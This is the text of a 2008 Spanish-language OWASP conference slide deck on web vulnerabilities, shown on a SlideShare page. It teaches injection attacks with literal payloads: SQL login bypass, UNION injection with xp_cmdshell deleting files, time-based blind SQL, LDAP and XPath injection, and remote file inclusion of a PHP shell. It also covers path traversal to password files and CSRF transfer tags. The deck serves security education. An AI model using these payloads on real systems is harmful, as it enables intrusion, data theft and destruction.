Charla OWASP

1,108 views
1,046 views

Published on

la charla que dio Chema Alonso en la UBA el martes 8 de abril de 2008

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,108
On SlideShare
0
From Embeds
0
Number of Embeds
9
Actions
Shares
0
Downloads
40
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Charla OWASP

  1. 1. 12/04/2008 The Open Web Application Security Project THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES ►http://www.owasp.org/images/e/e8/OWASP_Top_1 0_2007.pdf 1
  2. 2. 12/04/2008 ► http://elladodelmal.blogspot.com/2007/08/hijacking-en-slashdot-step-by-step.html 2
  3. 3. 12/04/2008 ►SQL Injection ►LDAP Injection ►Xpath Injection ►…Y a ciegas… ►Blind SQL Injection ►Blind LDAP Injection ►Blind XPAth Injection ► Aplicaciones con mala comprobación de datos de entrada. Datos de usuario. Formularios oText oPassword oTextarea oList omultilist Datos de llamadas a procedimientos. Links Funciones Scripts Actions ► Datos de usuario utilizados en consultas a base de datos. ► Mala construcción de consultas a bases de datos. 3
  4. 4. 12/04/2008 ►Permiten al atacante: Saltar restricciones de acceso. Elevación de privilegios. Extracción de información de la Base de Datos Parada de SGBDR. Ejecución de comandos en contexto usuario bd dentro del servidor. ►Ejemplo 1: Autenticación de usuario contra base de datos. Usuario Clave **************** Select idusuario from tabla_usuarios Where nombre_usuario=‘$usuario’ And clave=‘$clave’; 4
  5. 5. 12/04/2008 ►Ejemplo 1 (cont) Usuario Administrador Clave ‘ or ‘1’=‘1 Select idusuario from tabla_usuarios Where nombre_usuario=‘Administrador’ And clave=‘’ or ‘1’=‘1’; ►Ejemplo 2: Acceso a información con procedimientos de listado. http://www.miweb.com/prog.asp?parametro1=hola Ó http://www.miweb.com/prog.asp?parametro1=1 5
  6. 6. 12/04/2008 ►Ejemplo 2 (cont): http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:boot.ini”); shutdown -- Ó http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; -- ►Escrita por Francisco Amato ►Obtener la estructura y datos completa de la BBDD. 1 Injección para la estructura 1 post para cada fila Totalmente automática ►Soporta “n” bases de datos. ►Descargable (app y source) http://www.infobyte.com.ar 6
  7. 7. 12/04/2008 ►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc) ►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'sys' to data type int. /Programa.asp, line 8 ►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc) 7
  8. 8. 12/04/2008 8
  9. 9. 12/04/2008 ►La aplicación Web no muestra ningún mensaje de error. ►La aplicación no procesa nuestros comandos Select titulo from tabla where param=$param ►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo: http://server/miphp.php?id=1 and 1=1 http://server/miphp.php?id=1 and 1=2 9
  10. 10. 12/04/2008 ►¿Como reconocer un falso? Da un código de error Da una página de error Cambia el hash de la firma Cambia el árbol html Tarda más en responder ►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas: http://server/miphp.php?id=1 and 300>(select ascii(substring(username,1,1) from all_users where rownum<=1) 10
  11. 11. 12/04/2008 ►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual ►Podemos utilizar las mismas técnicas de inyección descritas anteriormente 21 ►¿Cómo podemos conseguir el retardo? Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos SQL Server: waitfor delay Oracle: dbms_lock.sleep MySQL: sleep Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria) CROSS JOIN que involucren muchas tablas De cualquier otra forma (ej: xp_cmdshell 'ping…') 22 11
  12. 12. 12/04/2008 ►Instrucciones de retardo del propio SGBD Microsoft SQL Server ; if (exists(select * from contrasena)) waitfor delay '0:0:5' Oracle ; begin if (condicion) then dbms_lock.sleep(5); end if; end; MySQL (versión 5) and exists(select * from contrasena) and sleep(5) and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0 Microsoft Access no tiene instrucciones de retardo 23 http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html 12
  13. 13. 12/04/2008 ►Consultas pesadas La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN Joins Filas Columnas 1 4 2 2 16 4 3 64 6 4 256 8 5 1024 10 Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas ►Consultas pesadas: estructura SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsulta SQL antes o después del operador lógico AND subconsulta AND consulta_pesada AND consulta_pesada AND subconsulta http://www.microsoft.com/latam/technet/articulos/art iculos_seguridad/2007/septiembre/sv0907.mspx 26 13
  14. 14. 12/04/2008 ►Consultas pesadas: tablas recomendadas Microsoft SQL Server sysusers Oracle all_users MySQL (versión 5) information_schema.columns Microsoft Access MSysAccessObjects (versiones 97 y 2000) MSysAccessStorage (versiones 2003 y 2007) 27 Verdad: La consulta dura 6 segundos. 14
  15. 15. 12/04/2008 Falso: La consulta dura 1 segundo. 15
  16. 16. 12/04/2008 16
  17. 17. 12/04/2008 ►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII. ►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII. 17
  18. 18. 12/04/2008 18
  19. 19. 12/04/2008 19
  20. 20. 12/04/2008 ►Sniffing de Passwords LDAP ►Recogida de certificados servidores LDAP-s ►MITM LDAP-s ►LDAP: Base de datos Jerarquica Clases Objetos Herencia Contenedores ►Búsqueda: LDAP Search Filters 20
  21. 21. 12/04/2008 filter = LPAREN filtercomp RPAREN filtercomp = and / or / not / item and = AMPERSAND filterlist or = VERTBAR filterlist not = EXCLAMATION filter filterlist = 1*filter item = simple / present / substring / extensible simple = attr filtertype assertionvalue filtertype = equal / approx / greaterorequal / lessorequal equal = EQUALS approx = TILDE EQUALS greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS (&(atributo1=valor1)(atributo2=valor2)) Ejemplo: (&(directorio=nombre_directorio)(nivel_seguridad=bajo)) Inyección: (&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=al macen)(nivel_seguridad=bajo)) 21
  22. 22. 12/04/2008 (|(atributo1=valor1)(atributo2=valor2)) Ejemplo: (|(cn=D*)(ou=Groups)) Inyección: (|(cn=void)(uid=*))(ou=Groups)) ►Tiene lógica binaria ►Tiene soporte para booleanización: Comodín: * Reducción charset: *a* Despliegue: a* Relacionales: >= <= ~= = 22
  23. 23. 12/04/2008 ►Certezas absolutas (RFC 4256) Absolute FALSE (|) Absolute TRUE (&) ►Anomalías: ¿NOT absoluto? (!) -> equivalente a ! Caracteres fuera del alfabeto Ñ* -> equivalente a * Ç* -> equivalente a * ** -> equivalente a ¡¡ERROR!! 23
  24. 24. 12/04/2008 Explotación Dada la siguiente consulta Xpath: string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text()) Dónde buscar Condición Qué devolver Inyectamos: User: abc' or 1=1 or 'a'='b Pass: k La condición quedaría: username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k' ►Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores ►Se debe a una mala programación o uso de la función include() ►Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor 24
  25. 25. 12/04/2008 ►La vulnerabilidad es producida por código semejante a este $page = $_GET['page']; include($page); ►En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor http://victima.com/pagvuln.php?page=http://[misitio]/miFichero ►Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs) 25
  26. 26. 12/04/2008 ►Mediante las shell PHP se pueden ejecutar comandos en una página Web ►Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. ►http://www.acamandola.com/safe.txt ►“El cucharón” Rutas a ficheros no controladas File=../../../../etc/passw id=…/../windows/repair/sam 26
  27. 27. 12/04/2008 ►Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack o XSRF. ►Por medio de una injección se fuerza la ejecución de acciones automáticas por parte del usuario. <img src=quot;http://www.example.com/logout.phpquot;> <img src=quot;http://www.example.com/transfer.do? frmAcct=document.form.frmAcct &toAcct=4345754 &toSWIFTid=434343&amt=3434.43quot;> 27
  28. 28. 12/04/2008 ►Se deja información sensible sin asegurar ►Se muestran mensajes de error detallados ►7.- Autenticación Rota y Gestión de Sesión Partes sin comprobar autenticación No procesos de logout seguro. ►8.- Almacenamiento con Criptografía insegura Datos sin cifrar o mal cifrados ►9.- Comunicaciones Inseguras ►10.-URLs mal restringidas Pueden ser adivinadas o “bruteforceadas” 28
  29. 29. 12/04/2008 ►Chema Alonso ►chema@informatica64.com ►http://elladodelmal.blogspot.com ►http://www.informatica64.com ►Francisco Amato ►Infobyte ►famato@infobyte.com.ar ►http://www.infobyte.com.ar Technews I64. Suscríbete Gratis en http://www.informatica64.com/boletines November 2006 58 29
  30. 30. 12/04/2008 Blind SQL Injection http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de- blind.html Time-Bases Blind SQL Injection with heavy Queries http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/s eptiembre/sv0907.mspx LDAP Injection & Blind LDAP Injection http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap- injection_9021.html XPath injection in XML databases http://palisade.plynt.com/issues/2005Jul/xpath-injection/ Blind XPath Injection http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518. pdf ► Milw0rm (Webapps exploits) http://milw0rm.com/webapps.php - OWASP http://www.owasp.org 30

×